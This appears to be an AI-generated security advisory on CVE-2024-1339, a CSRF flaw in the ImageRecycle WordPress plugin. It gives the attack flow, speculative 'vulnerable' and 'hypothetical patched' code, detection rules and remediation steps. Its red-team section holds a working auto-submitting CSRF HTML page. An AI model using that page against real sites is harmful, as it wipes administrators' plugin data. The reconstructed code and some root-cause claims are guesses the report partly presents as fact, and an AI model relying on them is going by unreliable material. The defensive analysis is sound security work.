CVE-2024-1339

Executive Summary

CVE-2024-1339 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the ImageRecycle pdf & image compression plugin for WordPress, up to and including version 3.1.13. The vulnerability exists in the reinitialize function due to missing or incorrect nonce validation. An unauthenticated attacker can craft a malicious request that, when triggered by a logged-in administrator (e.g., via a link click), removes all plugin data. This includes settings, compression logs, and potentially cached files. The CVSS score is 4.3 (Medium), with low impact on integrity and availability. No public exploit code or proof-of-concept is currently available, and the vendor has not released a patch.

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is installed on WordPress sites and runs within the WordPress environment. The CSRF attack targets the WordPress admin interface, not the underlying web server (Apache/Nginx). The attack relies on tricking a WordPress administrator into performing an action, such as clicking a crafted link, while they are authenticated.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L
• Base Score: 4.3 (Medium)
• Attack Vector (AV): Network (N) – The attack is executed remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – The attacker does not need authentication.
• User Interaction (UI): Required (R) – The victim must click a link or visit a malicious page.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality Impact (C): None (N) – No data exposure.
• Integrity Impact (I): Low (L) – Plugin data can be deleted.
• Availability Impact (A): Low (L) – Plugin functionality may be disrupted.

Threat Level: Medium. The attack requires user interaction, but the impact is limited to data deletion within the plugin. No sensitive data is exposed.

Deep Dive & Mechanics

The vulnerability is in the reinitialize function of the ImageRecycle plugin. This function is intended to reset the plugin to its default state, clearing all settings and cached data. In vulnerable versions, the function does not verify a nonce (a one-time token) to ensure the request originated from the legitimate admin interface. Without nonce validation, an attacker can forge a request that appears to come from the admin.

Attack Flow:

1. The attacker crafts a malicious HTML page or email containing a link or form that sends a POST request to the WordPress admin URL: /wp-admin/admin-post.php?action=imagerecycle_reinitialize.
2. The attacker lures an authenticated WordPress administrator to click the link or submit the form.
3. The victim’s browser sends the request with their existing session cookies.
4. The plugin processes the request without checking a nonce, executing the reinitialize function.
5. All plugin data (settings, compression history, API keys) is deleted.

Root Cause: Missing nonce validation in the reinitialize function. The function likely uses check_admin_referer() or similar, but it is either not called or called incorrectly.

Vulnerable vs. Patched Code

Vulnerable Code (<= 3.1.13):

function reinitialize() {
    // No nonce check
    delete_option('imagerecycle_settings');
    delete_option('imagerecycle_compression_log');
    // ... other cleanup
}
add_action('admin_post_imagerecycle_reinitialize', 'reinitialize');

Patched Code (Hypothetical):

function reinitialize() {
    if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'imagerecycle_reinitialize_nonce')) {
        wp_die('Security check failed.');
    }
    delete_option('imagerecycle_settings');
    delete_option('imagerecycle_compression_log');
    // ... other cleanup
}
add_action('admin_post_imagerecycle_reinitialize', 'reinitialize');

The patch adds a nonce verification using wp_verify_nonce() before executing the destructive actions.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A WordPress site with ImageRecycle plugin version <= 3.1.13.
• An authenticated admin session (the victim).

Exploit Steps:

1. Create a malicious HTML file (exploit.html) that auto-submits a form to the vulnerable endpoint.
2. Host the file on an attacker-controlled server or send it via email.
3. Trick the admin into opening the file.

Malicious HTML:

<!DOCTYPE html>
<html>
<body>
<form action="http://target-site.com/wp-admin/admin-post.php" method="POST" id="csrf-form">
    <input type="hidden" name="action" value="imagerecycle_reinitialize">
</form>
<script>
    document.getElementById('csrf-form').submit();
</script>
</body>
</html>

Expected Outcome: The plugin data is deleted, and the admin may see a blank settings page.

Blue Team (Detection & Defense)

Detection:

• Monitor for POST requests to /wp-admin/admin-post.php with action=imagerecycle_reinitialize without a valid nonce.
• Look for unusual referrer headers or user-agent strings.
• Alert on sudden deletion of plugin options.

Defense:

• Update the plugin to a patched version (if available).
• Implement Web Application Firewall (WAF) rules to block requests to admin-post.php without a valid nonce.
• Educate administrators about phishing and CSRF attacks.

Indicators of Compromise (IOCs)

• Network:
  • POST request to /wp-admin/admin-post.php with action=imagerecycle_reinitialize.
  • Referrer header pointing to an external domain.
• Host:
  • Deletion of WordPress options: imagerecycle_settings, imagerecycle_compression_log.
  • Plugin settings page showing default values.
• Logs:
  • WordPress debug log entries: [Date] [IP] POST /wp-admin/admin-post.php with action=imagerecycle_reinitialize.

Detection Engineering

YARA Rule

rule CVE_2024_1339_CSRF_ImageRecycle {
    meta:
        description = "Detects CSRF exploitation attempts against ImageRecycle plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-1339"
    strings:
        $action = "action=imagerecycle_reinitialize"
        $admin_post = "admin-post.php"
    condition:
        $action and $admin_post
}

Sigma Rule

title: CVE-2024-1339 ImageRecycle CSRF Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to admin-post.php with action imagerecycle_reinitialize
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: "action=imagerecycle_reinitialize"
        cs-uri-stem|endswith: "/wp-admin/admin-post.php"
    condition: selection
falsepositives:
    - Legitimate admin actions (if nonce is present)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-1339 ImageRecycle CSRF Attempt"; flow:to_server,established; http.method; content:"POST"; http.uri; content:"/wp-admin/admin-post.php"; http.client_body; content:"action=imagerecycle_reinitialize"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is available.
2. Implement CSRF protection manually by adding nonce checks to the vulnerable function (if you have code access).
3. Use a Web Application Firewall (WAF) to block requests to admin-post.php without a valid nonce.

Long-term Fix:

• The vendor must release a patched version that includes proper nonce validation.
• Monitor the plugin’s update page for a security release.

Workarounds:

• Restrict access to /wp-admin/admin-post.php via .htaccess or server config to only allow requests from trusted IPs.
• Use a security plugin (e.g., Wordfence) that adds CSRF protection to admin actions.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.